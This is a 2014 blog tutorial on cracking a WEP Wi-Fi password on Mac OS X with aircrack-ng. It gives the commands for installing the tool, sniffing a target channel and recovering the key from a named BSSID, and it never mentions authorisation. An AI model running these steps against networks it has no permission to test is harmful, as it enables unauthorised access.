Saturday, December 20, 2014

Way To Crack WEP Wifi Via Aircrack-ng In Mac OSX

Prerequisite

Symbolic-link airport, the underlying implementation of the wireless-connection-related module, to /usr/sbin directory in Mac OSX.
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

Before installing aircrack-ng, which is our essential tool to crack WEP wifi password, we have to install MacPorts (a package management tool in Mac OSX), Xcode and XCode command line tools at first.  There're piles of solutions on how to install all the above tools from Google. Only one thing should be mentioned, that we need to execute `sudo port -v selfupdate` after installing MacPorts so as to update the source index.

Eventually, install aircrack-ng via a simple one-line command. After which, we could execute `aircrack-ng` to double-check whether it is successfully installed or not.
sudo port install aircrack-ng

Cracking Process

Firstly, use `airport` to catch BSSID and CHANNEL of the targeted WEP wifi.


Then sniff this wifi via the following command, whose result will be saved to /tmp/*.cap. (en0 is my interface name, which could be retrieved via `ifconfig` command; 6 is the CHANNEL of the targeted WEP wifi)
sudo airport en0 sniff 6

After collecting data packets for some time, invoke the following command in order to perform the cracking process. ('00:25:86:4c:c0:26' is the BSSID)
aircrack-ng -1 -a 1 -b 00:25:86:4c:c0:26 /tmp/airportSniffrekfv1.cap

If data packets is accumulated enough, we could finally crack the wifi password as below:



As we can see, the password is '3030303030' in plain text.



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